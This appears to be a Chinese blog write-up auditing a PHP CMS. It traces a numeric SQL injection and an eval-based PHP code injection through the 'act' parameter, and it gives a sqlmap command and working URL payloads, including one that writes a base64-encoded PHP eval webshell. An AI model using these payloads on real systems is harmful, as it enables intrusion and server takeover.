1
2
|
$smdirid = trim($_REQUEST[“id”]).trim($_REQUEST[“pageNum”]);
$GLOBALS[‘Templ’] -> cache_dir = ROOT_PATH.$GLOBALS[‘cache_path’].‘/’.$GLOBALS[‘Helpe’] -> buildsmartydir( $typeu = ‘n’,$smdirid);
|
没有看到熟悉的select语句,那看看buildsmartydir这个函数的定义。点击buildsmartydir高亮后Ctrl+B转到声明处。
双击跳转到选定的代码处,21列。
1
2
|
$smdirid = trim($_REQUEST[“id”]).trim($_REQUEST[“pageNum”]);
$GLOBALS[‘Templ’] -> cache_dir = ROOT_PATH.$GLOBALS[‘cache_path’].‘/’.$GLOBALS[‘Helpe’] -> buildsmartydir( $typeu = ‘n’,$smdirid);
|
没有看到熟悉的select语句,那看看buildsmartydir这个函数的定义。点击buildsmartydir高亮后Ctrl+B转到声明处。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
function getdirs( $dir )
{
$array = array();
$d = @dir($dir);
if($d)
{
while (false !== ($entry = $d->read()))
{
if($entry!=‘.’ && $entry!=‘..’)
{
$back = $entry;
$entry = $dir.‘/’.$entry;
if(is_dir($entry))
{
$array[] = $back;
}
}
}
$d->close();
}
return $array;
}
|
没有发现跟数据库有关的东西,遂看下一个参数,这里我选择$id(这个参数很常见于数字型sql注入中)
1
2
3
4
|
if($id > 0 )
{
$sqlQuery = ” SELECT a.* ,s.ars_name FROM ”.SQL_PREFIX.“artlice as a ,”.SQL_PREFIX.“artsort as s WHERE a.ars_id = s.ars_id and a.art_enabled = 1 and a.art_id = <b>”.$id.“</b> ORDER BY a.`art_id` ”;
$infodetail = $GLOBALS[‘MySql’] -> selectOne($sqlQuery);
|
这边的$id没有进行任何过滤,而且两边也没加上单引号就直接带入selectOne里面的,但是得看下selectOne里面有没有过滤。跳到它的声明看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
function selectOne($sqlQuery, $typemysql = “MYSQL_ASSOC”)
{
$this -> connectMySql();
$this -> query = mysql_query($sqlQuery, $this -> mysqlConncet)
or die ( mysql_error());
//$result = array();
if($typemysql == “MYSQL_NUM”)
{
$row = mysql_fetch_array( $this -> query, MYSQL_NUM);
//while($row = mysql_fetch_array( $this -> query, MYSQL_NUM)) //MYSQL_NUM
//{
$result = $row;
//}
}else{
$row = mysql_fetch_array( $this -> query, MYSQL_ASSOC);
//while($row = mysql_fetch_array( $this -> query, MYSQL_ASSOC) ) //MYSQL_ASSOC
//{
$result = $row;
//}
}
return $this -> one = $result;
//return true;
}
|
好的,selectOne里面也没有过滤,那到实际页面看下是不是可以注入。
1
|
You have anerror in your SQL syntax; check the manual that corresponds to your MySQLserver version for the right syntax to use near ” ORDER BY a.`art_id`‘ at line1
|
(我这里的环境是php5.3,gpc=off,根据上面的结果判断这应该是个数字型的注入,所以就算单引号被转义也没关系)这里我不会一句话爆出管理员密码啥的,因为大部分的注入我都是用sqlmap解决。
1
|
Python sqlmap.py–u http://127.0.0.1/?load=art&act=detail&id=10–p id
|
同时我也使用wvs对网站进行扫描(黑盒,然后发现了更为惊人的结果)
这里发现一个php codeinjection,也就是php代码注入。看下它的检查结果。
1
2
3
|
URL encoded GET input act was set to ${@print(md5(acunetix_wvs_security_test))}
Possible execution result:
63c19a6da79816b21429e5bb262daed8
|
也就是访问
1
|
http://127.0.0.1/?act=%24%7b%40print(md5(acunetix_wvs_security_test))%7d&load=art
|
页面会显示63c19a6da79816b21429e5bb262daed8。很明显,print被执行了。本着知根知底的精神,经过一番查找,在systemclassclass_url.php里面找到了loadact()方法。
1
2
3
4
5
6
7
8
|
……[indent] $needact = $GLOBALS[‘Reque’] -> getval[“act”];
if($needact)
{
//加载执行程序控制操作类文件
$actfile = “[ DISCUZ_CODE_5 ]quot;.ucwords($actfile);
$actval = $actfile.‘->’.$needact.‘(); ‘ ;
eval($actval);
}[/indent]……
|
看到eval就明白了。带进来的act参数被执行了。
1
|
$this -> getval = $this -> funReq($_GET);
|
(白盒的方式有两种流,一种是检查所有输入,另一种是根据危险函数反向,这里可以依据eval反向出act有问题)但我并不满足于print,要是能拿个webshell那不是更好。最初的想法是
1
|
http://127.0.0.1/?load=pic&act=${@eval($_POST[a])}
|
,可惜菜刀无法连接……然后才想到干脆直接写入webshell。
1
|
http://127.0.0.1/load=pic&act=${file_put_contents(%22xxxx.php%22,%20base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUW0NDXSk/Pg==’))}
|
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号